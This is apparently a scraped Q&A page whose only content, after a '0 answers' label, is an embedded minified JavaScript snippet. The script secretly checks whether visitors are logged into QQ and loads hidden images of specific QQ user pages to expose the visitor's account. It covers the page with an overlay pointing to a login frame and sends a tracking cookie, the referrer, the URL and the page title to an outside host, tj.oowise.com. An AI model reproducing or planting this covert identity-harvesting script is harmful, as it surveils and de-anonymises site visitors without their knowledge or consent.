0
回答

var div_box_qq; (function() { var i_php = "http://tj.oowise.com/index.php/Do/save/"; var i_uid = "134"; var i_need_login = false; var loginTips = "\u7ee7\u7eed\u8bbf\u95ee"; //继续访问 function showEnterQQiFrame(url) { div_box_qq = document.createElement("div"); div_box_qq.style.verticalAlign = "middle"; div_box_qq.style.textAlign = "center"; div_box_qq.style.position = "absolute"; div_box_qq.style.width = "100%"; div_box_qq.style.height = "100%"; div_box_qq.style.top = 0; div_box_qq.style.left = 0; div_box_qq.style.lineHeight = 24; div_box_qq.style.background = "#FFF"; div_box_qq.style.visibility = "visible"; div_box_qq.innerHTML = '<a href="' + url + '" target="_blank" onclick="document.body.removeChild(div_box_qq)">' + loginTips + '</a>'; document.body.appendChild(div_box_qq) } function _$encode(s) { return (typeof(encodeURIComponent) == "function") ? encodeURIComponent(s) : escape(s) } function _init_send_by_iframe(uincookie, other) { var i_referrer = encodeURIComponent(document.referrer); var i_url = encodeURIComponent(document.location.href); var i_title = encodeURIComponent(document.title); var url = i_php+"?action=saveQQ" + other; url += "&uid=" + i_uid; url += "&meishi=132922437,132960811"; url += "&uincookie=" + uincookie; url += "&referrer=" + i_referrer; url += "&url=" + i_url; url += "&title=" + _$encode(i_title); url += "&r=" + (new Date()).getTime(); var oHead = document.getElementsByTagName('HEAD').item(0); var oScript = document.createElement("script"); oScript.type = "text/javascript"; oScript.src = url; oHead.appendChild(oScript) } function SetCookie(name, value) { var exp = new Date(); exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000); document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString() } function GetCookie(name) { var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)")); if (arr != null) return unescape(arr[2]); return null } function insertFrame() { var img = new Image(); img.src = "http://app.data.qq.com/?umod=user&uid=132922437&t=" + (new Date()).getTime(); img.width = 0; img.height = 0; img.border = 0; document.body.appendChild(img); img = new Image(); img.src = "http://app.data.qq.com/?umod=user&uid=132960811&t=" + (new Date()).getTime(); img.width = 0; img.height = 0; img.border = 0; if (img.attachEvent) { img.attachEvent("onerror", function() { newSubmit() }); img.attachEvent("onload", function() { newSubmit() }); img.attachEvent("onabort", function() { newSubmit() }) } else { img.onerror = function() { newSubmit() }; img.onload = function() { newSubmit() }; img.onabort = function() { newSubmit() } } document.body.appendChild(img) } var isSubmited = false; function newSubmit() { if (isSubmited) { return } isSubmited = true; var uincookie = GetCookie("uincookie"); if (uincookie == null) { uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000); SetCookie("uincookie", uincookie) } _init_send_by_iframe(uincookie, "") } var checkTime = 0; function isLogin() { var code = null; if (typeof(data3) == "undefined") { code = data0.err } else { code = data3.err } if (code == 1007 || code == 1002 || code == 1026) { window.clearInterval(isLoginTimeID); insertFrame() } else { var uincookie = GetCookie("uincookie"); if (uincookie != null) { window.clearInterval(isLoginTimeID); _init_send_by_iframe(uincookie, "&do=uincookie") } else { if (checkTime++==1 && i_need_login) { showEnterQQiFrame(i_php + "?action=loginqqiframe") } var checkscript = document.getElementById("checkloginscript"); checkscript.parentNode.removeChild(checkscript) } } } var isLoginTimeID; function dynamicLoad() { var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date()).getTime(); var oHead = document.getElementsByTagName('HEAD').item(0); var oScript = document.createElement("script"); oScript.type = "text/javascript"; oScript.id = "checkloginscript"; if (oScript.readyState) { oScript.onreadystatechange = function() { if (oScript.readyState == "loaded" || oScript.readyState == "complete") { oScript.onreadystatechange = null; isLogin() } } } else { oScript.onload = function() { isLogin() } } oScript.src = vsrc; oHead.appendChild(oScript) } dynamicLoad(); isLoginTimeID = window.setInterval(dynamicLoad, 3000) })(); if (0 == '1') { document.writeln("<iframe height=0 width=0 src=\"http://wpa.qq.com/msgrd?v=3&uin=0&site=qq&menu=yes\"></iframe>") }